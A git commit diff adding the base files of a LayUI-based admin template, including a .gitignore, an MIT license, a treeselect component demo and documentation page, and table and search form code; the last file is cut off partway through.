feat: 项目基础框架+配置+Kernel
This commit is contained in:
testadmin
@@ -0,0 +1,265 @@
|
||||
web.config
|
||||
## Ignore Visual Studio temporary files, build results, and
|
||||
## files generated by popular Visual Studio add-ons.
|
||||
|
||||
# User-specific files
|
||||
*.suo
|
||||
*.user
|
||||
*.userosscache
|
||||
*.sln.docstates
|
||||
|
||||
# User-specific files (MonoDevelop/Xamarin Studio)
|
||||
*.userprefs
|
||||
|
||||
# Build results
|
||||
[Dd]ebug/
|
||||
[Dd]ebugPublic/
|
||||
[Rr]elease/
|
||||
[Rr]eleases/
|
||||
x64/
|
||||
x86/
|
||||
bld/
|
||||
[Bb]in/
|
||||
[Oo]bj/
|
||||
[Ll]og/
|
||||
|
||||
# Visual Studio 2015 cache/options directory
|
||||
.vs/
|
||||
# Uncomment if you have tasks that create the project's static files in wwwroot
|
||||
#wwwroot/
|
||||
|
||||
# MSTest test Results
|
||||
[Tt]est[Rr]esult*/
|
||||
[Bb]uild[Ll]og.*
|
||||
|
||||
# NUNIT
|
||||
*.VisualState.xml
|
||||
TestResult.xml
|
||||
|
||||
# Build Results of an ATL Project
|
||||
[Dd]ebugPS/
|
||||
[Rr]eleasePS/
|
||||
dlldata.c
|
||||
|
||||
# DNX
|
||||
project.lock.json
|
||||
project.fragment.lock.json
|
||||
artifacts/
|
||||
|
||||
*_i.c
|
||||
*_p.c
|
||||
*_i.h
|
||||
*.ilk
|
||||
*.meta
|
||||
*.obj
|
||||
*.pch
|
||||
*.pdb
|
||||
*.pgc
|
||||
*.pgd
|
||||
*.rsp
|
||||
*.sbr
|
||||
*.tlb
|
||||
*.tli
|
||||
*.tlh
|
||||
*.tmp
|
||||
*.tmp_proj
|
||||
*.log
|
||||
*.vspscc
|
||||
*.vssscc
|
||||
.builds
|
||||
*.pidb
|
||||
*.svclog
|
||||
*.scc
|
||||
*.dll
|
||||
|
||||
|
||||
# Chutzpah Test files
|
||||
_Chutzpah*
|
||||
|
||||
# Visual C++ cache files
|
||||
ipch/
|
||||
*.aps
|
||||
*.ncb
|
||||
*.opendb
|
||||
*.opensdf
|
||||
*.sdf
|
||||
*.cachefile
|
||||
*.VC.db
|
||||
*.VC.VC.opendb
|
||||
|
||||
# Visual Studio profiler
|
||||
*.psess
|
||||
*.vsp
|
||||
*.vspx
|
||||
*.sap
|
||||
|
||||
# TFS 2012 Local Workspace
|
||||
$tf/
|
||||
|
||||
# Guidance Automation Toolkit
|
||||
*.gpState
|
||||
|
||||
# ReSharper is a .NET coding add-in
|
||||
_ReSharper*/
|
||||
*.[Rr]e[Ss]harper
|
||||
*.DotSettings.user
|
||||
|
||||
# JustCode is a .NET coding add-in
|
||||
.JustCode
|
||||
|
||||
# TeamCity is a build add-in
|
||||
_TeamCity*
|
||||
|
||||
# DotCover is a Code Coverage Tool
|
||||
*.dotCover
|
||||
|
||||
# NCrunch
|
||||
_NCrunch_*
|
||||
.*crunch*.local.xml
|
||||
nCrunchTemp_*
|
||||
|
||||
# MightyMoose
|
||||
*.mm.*
|
||||
AutoTest.Net/
|
||||
|
||||
# Web workbench (sass)
|
||||
.sass-cache/
|
||||
|
||||
# Installshield output folder
|
||||
[Ee]xpress/
|
||||
|
||||
# DocProject is a documentation generator add-in
|
||||
DocProject/buildhelp/
|
||||
DocProject/Help/*.HxT
|
||||
DocProject/Help/*.HxC
|
||||
DocProject/Help/*.hhc
|
||||
DocProject/Help/*.hhk
|
||||
DocProject/Help/*.hhp
|
||||
DocProject/Help/Html2
|
||||
DocProject/Help/html
|
||||
|
||||
# Click-Once directory
|
||||
publish/
|
||||
|
||||
# Publish Web Output
|
||||
*.[Pp]ublish.xml
|
||||
*.azurePubxml
|
||||
# TODO: Comment the next line if you want to checkin your web deploy settings
|
||||
# but database connection strings (with potential passwords) will be unencrypted
|
||||
#*.pubxml
|
||||
*.publishproj
|
||||
|
||||
# Microsoft Azure Web App publish settings. Comment the next line if you want to
|
||||
# checkin your Azure Web App publish settings, but sensitive information contained
|
||||
# in these scripts will be unencrypted
|
||||
PublishScripts/
|
||||
|
||||
# NuGet Packages
|
||||
*.nupkg
|
||||
# The packages folder can be ignored because of Package Restore
|
||||
**/packages/*
|
||||
# except build/, which is used as an MSBuild target.
|
||||
!**/packages/build/
|
||||
# Uncomment if necessary however generally it will be regenerated when needed
|
||||
#!**/packages/repositories.config
|
||||
# NuGet v3's project.json files produces more ignoreable files
|
||||
*.nuget.props
|
||||
*.nuget.targets
|
||||
|
||||
# Microsoft Azure Build Output
|
||||
csx/
|
||||
*.build.csdef
|
||||
|
||||
# Microsoft Azure Emulator
|
||||
ecf/
|
||||
rcf/
|
||||
|
||||
# Windows Store app package directories and files
|
||||
AppPackages/
|
||||
BundleArtifacts/
|
||||
Package.StoreAssociation.xml
|
||||
_pkginfo.txt
|
||||
|
||||
# Visual Studio cache files
|
||||
# files ending in .cache can be ignored
|
||||
*.[Cc]ache
|
||||
# but keep track of directories ending in .cache
|
||||
!*.[Cc]ache/
|
||||
|
||||
# Others
|
||||
ClientBin/
|
||||
~$*
|
||||
*~
|
||||
*.dbmdl
|
||||
*.dbproj.schemaview
|
||||
*.jfm
|
||||
*.pfx
|
||||
*.publishsettings
|
||||
node_modules/
|
||||
orleans.codegen.cs
|
||||
|
||||
# Since there are multiple workflows, uncomment next line to ignore bower_components
|
||||
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
|
||||
#bower_components/
|
||||
|
||||
# RIA/Silverlight projects
|
||||
Generated_Code/
|
||||
|
||||
# Backup & report files from converting an old project file
|
||||
# to a newer Visual Studio version. Backup files are not needed,
|
||||
# because we have git ;-)
|
||||
_UpgradeReport_Files/
|
||||
Backup*/
|
||||
UpgradeLog*.XML
|
||||
UpgradeLog*.htm
|
||||
|
||||
# SQL Server files
|
||||
*.mdf
|
||||
*.ldf
|
||||
|
||||
# Business Intelligence projects
|
||||
*.rdl.data
|
||||
*.bim.layout
|
||||
*.bim_*.settings
|
||||
|
||||
# Microsoft Fakes
|
||||
FakesAssemblies/
|
||||
|
||||
# GhostDoc plugin setting file
|
||||
*.GhostDoc.xml
|
||||
|
||||
# Node.js Tools for Visual Studio
|
||||
.ntvs_analysis.dat
|
||||
|
||||
# Visual Studio 6 build log
|
||||
*.plg
|
||||
|
||||
# Visual Studio 6 workspace options file
|
||||
*.opt
|
||||
|
||||
# Visual Studio LightSwitch build output
|
||||
**/*.HTMLClient/GeneratedArtifacts
|
||||
**/*.DesktopClient/GeneratedArtifacts
|
||||
**/*.DesktopClient/ModelManifest.xml
|
||||
**/*.Server/GeneratedArtifacts
|
||||
**/*.Server/ModelManifest.xml
|
||||
_Pvt_Extensions
|
||||
|
||||
# Paket dependency manager
|
||||
.paket/paket.exe
|
||||
paket-files/
|
||||
|
||||
# FAKE - F# Make
|
||||
.fake/
|
||||
|
||||
# JetBrains Rider
|
||||
.idea/
|
||||
*.sln.iml
|
||||
|
||||
# CodeRush
|
||||
.cr/
|
||||
|
||||
# Python Tools for Visual Studio (PTVS)
|
||||
__pycache__/
|
||||
*.pyc
|
||||
Server/MonkeyWhy/.vs/MonkeyWhy/v15/.suo
|
||||
@@ -0,0 +1,20 @@
|
||||
The MIT License (MIT)
|
||||
|
||||
Copyright (c) 2017 Van
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
this software and associated documentation files (the "Software"), to deal in
|
||||
the Software without restriction, including without limitation the rights to
|
||||
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
|
||||
the Software, and to permit persons to whom the Software is furnished to do so,
|
||||
subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
|
||||
FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
|
||||
COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
|
||||
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
|
||||
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||
@@ -0,0 +1,2 @@
|
||||
# kit_admin_private
|
||||
基于layui2.*
|
||||
@@ -0,0 +1,16 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<meta http-equiv="X-UA-Compatible" content="ie=edge">
|
||||
<titleapp>
|
||||
</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
还没写啊，急什么 ..
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,425 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<meta http-equiv="X-UA-Compatible" content="ie=edge">
|
||||
<title>SelectTree.js</title>
|
||||
<link rel="stylesheet" href="../plugins/layui/css/layui.css" media="all" />
|
||||
<link rel="stylesheet" href="../plugins/font-awesome/css/font-awesome.min.css" media="all" />
|
||||
<link rel="stylesheet" href="../src/css/ztree/metro/ztree.css" media="all" />
|
||||
<link rel="stylesheet" href="../src/css/treeselect.css" media="all" />
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div style="width:80%; margin:0 auto;">
|
||||
<h1 style="text-align: center;padding: 15px 0;font-size: 40px;">LayUI treeselect.js</h1>
|
||||
<blockquote class="layui-elem-quote" style="border-left:5px solid #FF5722;">
|
||||
<h1>摘要:</h1>
|
||||
<p>//LayUI扩展组件之treeselect.js by:<a href="http://kit.zhengjinfan.cn">Van</a></p>
|
||||
<p>这是一个基于ztree.js和layui扩展的树形下拉多选组件</p>
|
||||
<br>
|
||||
<p>作者 ：Van</p>
|
||||
<p>社区主页：
|
||||
<a href="http://fly.layui.com/u/784224/" target="_blank">http://fly.layui.com/u/784224/</a>
|
||||
</p>
|
||||
<p>E-mail：zheng_jinfan@126.com</p>
|
||||
<p>QQ交流群：248049395 <span style="color:#009688;font-size:12px;">加时请注明来意.</span></p>
|
||||
<p>KITADMIN:
|
||||
<a href="http://kit.zhengjinfan.cn/" target="_blank">http://kit.zhengjinfan.cn/</a>
|
||||
<span style="color:#009688;font-size:12px;">基于LayUI 2.x 扩展的一个后台管理模板.</span>
|
||||
</p>
|
||||
<p>下载地址：<a href="http://kit.zhengjinfan.cn/res/layui-treeselect.zip" target="_blank">http://kit.zhengjinfan.cn/res/layui-treeselect.zip</a></p>
|
||||
</blockquote>
|
||||
<fieldset class="layui-elem-field">
|
||||
<legend>Demo 演示</legend>
|
||||
<div class="layui-field-box" style="padding-top:45px;">
|
||||
<form class="layui-form" action="">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">输入框</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="title" required lay-verify="required" placeholder="请输入标题" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">密码框</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="password" name="password" required lay-verify="required" placeholder="请输入密码" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">辅助文字</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label" style="color:red;">多选下拉1</label>
|
||||
<div class="layui-input-block layui-input-treeselect">
|
||||
<input type="text" name="t1" id="treeselect" required lay-verify="required" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label" style="color:red;">多选下拉2</label>
|
||||
<div class="layui-input-block layui-input-treeselect">
|
||||
<input type="text" name="t2" value="5,6,7,8" id="treeselect1" required lay-verify="required" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label" style="color:red;">多选下拉3</label>
|
||||
<div class="layui-input-block layui-input-treeselect">
|
||||
<input type="text" name="t3" value="1,4" id="treeselect2" required lay-verify="required" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">选择框</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="city" lay-verify="required">
|
||||
<option value=""></option>
|
||||
<option value="0">北京</option>
|
||||
<option value="1">上海</option>
|
||||
<option value="2">广州</option>
|
||||
<option value="3">深圳</option>
|
||||
<option value="4">杭州</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">复选框</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="checkbox" name="like[write]" title="写作">
|
||||
<input type="checkbox" name="like[read]" title="阅读" checked>
|
||||
<input type="checkbox" name="like[dai]" title="发呆">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">开关</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="checkbox" name="switch" lay-skin="switch">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">单选框</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="radio" name="sex" value="男" title="男">
|
||||
<input type="radio" name="sex" value="女" title="女" checked>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item layui-form-text">
|
||||
<label class="layui-form-label">文本域</label>
|
||||
<div class="layui-input-block">
|
||||
<textarea name="desc" placeholder="请输入内容" class="layui-textarea"></textarea>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" lay-submit lay-filter="formDemo">立即提交</button>
|
||||
<button type="reset" class="layui-btn layui-btn-primary">重置</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</fieldset>
|
||||
<fieldset class="layui-elem-field">
|
||||
<legend>使用文档</legend>
|
||||
<div class="layui-field-box">
|
||||
<blockquote class="layui-elem-quote">
|
||||
<h1>依赖项：</h1>
|
||||
<p>1、ztree.js 插件,官方文档地址：<a href="http://www.treejs.cn/v3/api.php" target="_blank">http://www.treejs.cn/v3/api.php</a></p>
|
||||
</blockquote>
|
||||
<h1>使用方法及步骤 #</h1>
|
||||
<pre class="layui-code"><span style="color:#009688;">步骤一：引入css</span> <span style="color:red;">注：标红的都是很重要的~！~</span>
|
||||
//:除开layui.css额外样式
|
||||
// ztree.css 是ztree.js 提供的metro皮肤
|
||||
<link rel="stylesheet" href="../src/css/ztree/metro/ztree.css" media="all" />
|
||||
// treeselect.css 是我自定的样式
|
||||
<link rel="stylesheet" href="../src/css/treeselect.css" media="all" />
|
||||
<br>
|
||||
<span style="color:#009688;">步骤二：添加html代码(和form表单代码一样简单，只不过需要设置额外的class)</span>
|
||||
<br>
|
||||
<form class="layui-form" action="">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">多选下拉1</label>
|
||||
<div class="layui-input-block <span style="color:red;">layui-input-treeselect</span>"> //<span style="color:red;">layui-input-treeselect 一定要设置</span>
|
||||
//<span style="color:red;">treeselect1 Id也一定要设置且唯一</span>
|
||||
<input type="text" name="t1" id="<span style="color:red;">treeselect1</span>" required lay-verify="required" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
<br>
|
||||
<span style="color:#009688;">步骤二：添加js代码(和使用layui自带模块一样简单)</span>
|
||||
<br>
|
||||
<script src="../plugins/layui/layui.js"></script>
|
||||
<script>
|
||||
layui.config({
|
||||
base: <span style="color:red;">'../src/js/'</span> //自定义组件的目录--相对路径
|
||||
}).use(['form', 'treeselect'], function() {
|
||||
var form = layui.form,
|
||||
<span style="color:red;">treeselect = layui.treeselect;</span>
|
||||
<span style="color:red;">//通过调用render方法进行渲染 [render支持链式调用]</span>
|
||||
treeselect.render({ //渲染第一个
|
||||
elem:'#treeselect1', //这个设置必要为id属性且必须加上#号
|
||||
data:[{
|
||||
id:1,
|
||||
name:'父节点一'
|
||||
},{
|
||||
id:2,
|
||||
name:'父节点二',
|
||||
open:true, //是否默认打开
|
||||
isParent:true, //是否为父节点
|
||||
children:[{
|
||||
id:3,
|
||||
name:'子节点一'
|
||||
},{
|
||||
id:4,
|
||||
name:'子节点二',
|
||||
isParent:true,
|
||||
children:[{
|
||||
id:5,
|
||||
name:'子节点2.1'
|
||||
}]
|
||||
}]
|
||||
}]
|
||||
}).render({ //渲染第二个treeselect
|
||||
//参数设置如上..
|
||||
});
|
||||
|
||||
// 监听表单提交
|
||||
form.on('submit(formDemo)', function(data) {
|
||||
console.log(data);
|
||||
return false; //返回false阻止提交
|
||||
});
|
||||
});
|
||||
</script>
|
||||
<br>
|
||||
<br>
|
||||
<br>
|
||||
//写在最后：ztree.js 是一个很强大的树菜单jq插件，如果当前的设置不能满足你们的需求的话，你们可以直接改源码，以实现你们的个性化需求
|
||||
</pre>
|
||||
</div>
|
||||
</fieldset>
|
||||
</div>
|
||||
|
||||
<script src="../plugins/layui/layui.js"></script>
|
||||
<script>
|
||||
layui.config({
|
||||
base: '../src/js/'
|
||||
}).use(['form', 'treeselect', 'code'], function() {
|
||||
var form = layui.form,
|
||||
treeselect = layui.treeselect,
|
||||
layer = layui.layer;
|
||||
layui.code();
|
||||
treeselect.render({
|
||||
elem: '#treeselect',
|
||||
data: [{
|
||||
id: 1,
|
||||
pId: 0,
|
||||
name: "北京"
|
||||
}, {
|
||||
id: 2,
|
||||
pId: 0,
|
||||
name: "天津"
|
||||
}, {
|
||||
id: 3,
|
||||
pId: 0,
|
||||
name: "上海"
|
||||
}, {
|
||||
id: 6,
|
||||
pId: 0,
|
||||
name: "重庆"
|
||||
}, {
|
||||
id: 4,
|
||||
pId: 0,
|
||||
name: "河北省",
|
||||
open: true
|
||||
}, {
|
||||
id: 41,
|
||||
pId: 4,
|
||||
name: "石家庄"
|
||||
}, {
|
||||
id: 42,
|
||||
pId: 4,
|
||||
name: "保定"
|
||||
}, {
|
||||
id: 43,
|
||||
pId: 4,
|
||||
name: "邯郸"
|
||||
}, {
|
||||
id: 44,
|
||||
pId: 4,
|
||||
name: "承德"
|
||||
}, {
|
||||
id: 5,
|
||||
pId: 0,
|
||||
name: "广东省",
|
||||
open: true
|
||||
}, {
|
||||
id: 51,
|
||||
pId: 5,
|
||||
name: "广州"
|
||||
}, {
|
||||
id: 52,
|
||||
pId: 5,
|
||||
name: "深圳"
|
||||
}, {
|
||||
id: 53,
|
||||
pId: 5,
|
||||
name: "东莞"
|
||||
}, {
|
||||
id: 54,
|
||||
pId: 5,
|
||||
name: "佛山"
|
||||
}, {
|
||||
id: 6,
|
||||
pId: 0,
|
||||
name: "福建省",
|
||||
open: true
|
||||
}, {
|
||||
id: 61,
|
||||
pId: 6,
|
||||
name: "福州"
|
||||
}, {
|
||||
id: 62,
|
||||
pId: 6,
|
||||
name: "厦门"
|
||||
}, {
|
||||
id: 63,
|
||||
pId: 6,
|
||||
name: "泉州"
|
||||
}, {
|
||||
id: 64,
|
||||
pId: 6,
|
||||
name: "三明"
|
||||
}]
|
||||
}).render({
|
||||
elem: '#treeselect1',
|
||||
data: [{
|
||||
id: 984,
|
||||
name: '父节点一'
|
||||
}, {
|
||||
"id": 1,
|
||||
"name": "总经办",
|
||||
"children": [{
|
||||
"id": 5,
|
||||
"name": "财务部",
|
||||
"children": null,
|
||||
"isParent": false,
|
||||
"open": true
|
||||
}, {
|
||||
"id": 6,
|
||||
"name": "子公司一",
|
||||
"children": [{
|
||||
"id": 7,
|
||||
"name": "运营部",
|
||||
"children": null,
|
||||
"isParent": false,
|
||||
"open": true
|
||||
}, {
|
||||
"id": 8,
|
||||
"name": "客服部",
|
||||
"children": [{
|
||||
"id": 12,
|
||||
"name": "客服一部",
|
||||
"children": null,
|
||||
"isParent": false,
|
||||
"open": true
|
||||
}, {
|
||||
"id": 13,
|
||||
"name": "客服二部",
|
||||
"children": null,
|
||||
"isParent": false,
|
||||
"open": true
|
||||
}],
|
||||
"isParent": true,
|
||||
"open": true
|
||||
}, {
|
||||
"id": 14,
|
||||
"name": "技术部",
|
||||
"children": null,
|
||||
"isParent": false,
|
||||
"open": true
|
||||
}],
|
||||
"isParent": true,
|
||||
"open": true
|
||||
}, {
|
||||
"id": 9,
|
||||
"name": "子公司二",
|
||||
"children": [{
|
||||
"id": 10,
|
||||
"name": "技术部一",
|
||||
"children": null,
|
||||
"isParent": false,
|
||||
"open": true
|
||||
}, {
|
||||
"id": 11,
|
||||
"name": "技术部二",
|
||||
"children": null,
|
||||
"isParent": false,
|
||||
"open": true
|
||||
}, {
|
||||
"id": 15,
|
||||
"name": "技术部三",
|
||||
"children": null,
|
||||
"isParent": false,
|
||||
"open": true
|
||||
}],
|
||||
"isParent": true,
|
||||
"open": true
|
||||
}],
|
||||
"isParent": true,
|
||||
"open": true
|
||||
}, {
|
||||
"id": 16,
|
||||
"name": "公司二",
|
||||
"children": [{
|
||||
"id": 17,
|
||||
"name": "部门1",
|
||||
"children": [{
|
||||
"id": 18,
|
||||
"name": "部门1-1",
|
||||
"children": null,
|
||||
"isParent": false,
|
||||
"open": true
|
||||
}, {
|
||||
"id": 20,
|
||||
"name": "部门1-2",
|
||||
"children": null,
|
||||
"isParent": false,
|
||||
"open": true
|
||||
}],
|
||||
"isParent": true,
|
||||
"open": true
|
||||
}],
|
||||
"isParent": true,
|
||||
"open": true
|
||||
}]
|
||||
}).render({
|
||||
elem: '#treeselect2',
|
||||
data: [{
|
||||
id: 1,
|
||||
name: '父节点一'
|
||||
}, {
|
||||
id: 2,
|
||||
name: '父节点二',
|
||||
open: true,
|
||||
isParent: true,
|
||||
children: [{
|
||||
id: 3,
|
||||
name: '子节点一'
|
||||
}, {
|
||||
id: 4,
|
||||
name: '子节点二',
|
||||
isParent: true,
|
||||
children: [{
|
||||
id: 5,
|
||||
name: '子节点2.1'
|
||||
}]
|
||||
}]
|
||||
}]
|
||||
});
|
||||
form.on('submit(formDemo)', function(data) {
|
||||
console.log(data);
|
||||
layer.msg(JSON.stringify(data.field));
|
||||
return false;
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,80 @@
|
||||
<div class="kit-table">
|
||||
<form class="layui-form" lay-filter="kit-search-form">
|
||||
<div class="kit-table-header">
|
||||
<div class="kit-search-btns">
|
||||
<a href="javascript:;" class="layui-btn layui-btn-small">新增</a>
|
||||
<a href="javascript:;" class="layui-btn layui-btn-small layui-btn-normal">新增</a>
|
||||
<a href="javascript:;" class="layui-btn layui-btn-small layui-btn-warm">新增</a>
|
||||
<a href="javascript:;" class="layui-btn layui-btn-small layui-btn-danger">新增</a>
|
||||
</div>
|
||||
<div class="kit-search-inputs">
|
||||
<div class="kit-search-keyword">
|
||||
<input type="text" class="layui-input" name="keyword" placeholder="搜索关键字.." />
|
||||
<button lay-submit lay-filter="search"><i class="layui-icon"></i></button>
|
||||
</div>
|
||||
<div class="kit-search-more" id="kit-search-more">更多筛选<i class="layui-icon"></i></div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="kit-search-mored layui-anim layui-anim-upbit">
|
||||
<div class="kit-search-body">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">输入框</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="title" placeholder="请输入标题" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">验证手机</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="tel" name="phone" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">验证邮箱</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="email" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">范围</label>
|
||||
<div class="layui-input-inline" style="width: 100px;">
|
||||
<input type="text" name="price_min" placeholder="￥" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
<div class="layui-form-mid">-</div>
|
||||
<div class="layui-input-inline" style="width: 100px;">
|
||||
<input type="text" name="price_max" placeholder="￥" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">单行选择框</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="interest" lay-filter="aihao">
|
||||
<option value=""></option>
|
||||
<option value="0">写作</option>
|
||||
<option value="1" selected="">阅读</option>
|
||||
<option value="2">游戏</option>
|
||||
<option value="3">音乐</option>
|
||||
<option value="4">旅行</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="kit-search-footer">
|
||||
<button type="reset" class="layui-btn layui-btn-small layui-btn-primary kit-btn">重置</button>
|
||||
<button lay-submit lay-filter="search" class="layui-btn layui-btn-small kit-btn">确定</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
<div class="kit-table-body">
|
||||
<table id="demo" lay-filter="demo"></table>
|
||||
<script type="text/html" id="barDemo">
|
||||
<a class="layui-btn layui-btn-mini" lay-event="detail">查看</a>
|
||||
<a class="layui-btn layui-btn-mini" lay-event="edit">编辑</a>
|
||||
<a class="layui-btn layui-btn-danger layui-btn-mini" lay-event="del">删除</a>
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
@@ -0,0 +1,97 @@
|
||||
var ModuleTable = function() {
|
||||
this.config = {
|
||||
elem: '#demo',
|
||||
height: 'full-135', //容器高度
|
||||
url: 'table.json',
|
||||
page: true,
|
||||
id: 'demo',
|
||||
cols: [
|
||||
[
|
||||
{ checkbox: true, fixed: true },
|
||||
{ field: 'id', title: 'ID', width: 80 },
|
||||
{ field: 'username', title: '用户名', width: 80 },
|
||||
{ field: 'sex', title: '性别', width: 80 },
|
||||
{ field: 'city', title: '城市', width: 80 },
|
||||
{ field: 'sign', title: '签名', width: 177 },
|
||||
{ field: 'experience', title: '积分', width: 80 },
|
||||
{ field: 'score', title: '评分', width: 80 },
|
||||
{ field: 'classify', title: '职业', width: 80 },
|
||||
{ field: 'wealth', title: '财富', width: 135, sort: true },
|
||||
{ fixed: 'right', title: '操作', width: 150, align: 'center', toolbar: '#barDemo' }
|
||||
]
|
||||
],
|
||||
done: function(res, curr, count) {
|
||||
//如果是异步请求数据方式，res即为你接口返回的信息。
|
||||
//如果是直接赋值的方式，res即为：{data: [], count: 99} data为当前页数据、count为数据总长度
|
||||
// console.log(res);
|
||||
// //得到当前页码
|
||||
// console.log(curr);
|
||||
// //得到数据总量
|
||||
// console.log(count);
|
||||
},
|
||||
loading: true,
|
||||
//method: 'post'
|
||||
}
|
||||
};
|
||||
ModuleTable.fn = ModuleTable.prototype;
|
||||
|
||||
ModuleTable.fn.extend = function(options) {
|
||||
var table = options.table,
|
||||
layer = options.layer,
|
||||
form = options.form,
|
||||
$ = options.jquery,
|
||||
currTable = options.currTable; //当前table实例
|
||||
//渲染表单
|
||||
form.render(null, 'kit-search-form');
|
||||
//监听搜索表单提交
|
||||
form.on('submit(search)', function(data) {
|
||||
console.log(data.field);
|
||||
layer.msg(JSON.stringify(data.field));
|
||||
//带条件查询
|
||||
currTable.reload({
|
||||
where: data.field
|
||||
});
|
||||
return false;
|
||||
});
|
||||
//监听工具条
|
||||
table.on('tool(demo)', function(obj) { //注：tool是工具条事件名，test是table原始容器的属性 lay-filter="对应的值"
|
||||
var data = obj.data; //获得当前行数据
|
||||
var layEvent = obj.event; //获得 lay-event 对应的值
|
||||
var tr = obj.tr; //获得当前行 tr 的DOM对象
|
||||
console.log(obj);
|
||||
|
||||
if (layEvent === 'detail') { //查看
|
||||
console.log(table.checkStatus('demo'));
|
||||
//do somehing
|
||||
} else if (layEvent === 'del') { //删除
|
||||
// var htm = [
|
||||
// '<p>确定要删除吗?</p>',
|
||||
// '<button class="layui-btn layui-btn-mini layui-btn-primary">取消</button>',
|
||||
// '<button class="layui-btn layui-btn-mini">确定</button>'
|
||||
// ];
|
||||
// layer.tips(htm.join(''), this, {
|
||||
// time: 0,
|
||||
// skin: 'kit-table'
|
||||
// });
|
||||
layer.confirm('真的删除行么', function(index) {
|
||||
obj.del(); //删除对应行（tr）的DOM结构
|
||||
layer.close(index);
|
||||
//向服务端发送删除指令
|
||||
});
|
||||
} else if (layEvent === 'edit') { //编辑
|
||||
//do something
|
||||
|
||||
//同步更新缓存对应的值
|
||||
obj.update({
|
||||
username: '123',
|
||||
title: 'xxx'
|
||||
});
|
||||
}
|
||||
});
|
||||
$('#kit-search-more').on('click', function() {
|
||||
$('.kit-search-mored').toggle();
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
var moduleTable = new ModuleTable();
|
||||
@@ -0,0 +1,39 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<meta http-equiv="X-UA-Compatible" content="ie=edge">
|
||||
<title>Navbar组件</title>
|
||||
<link rel="stylesheet" href="./plugins/layui/css/layui.css" media="all">
|
||||
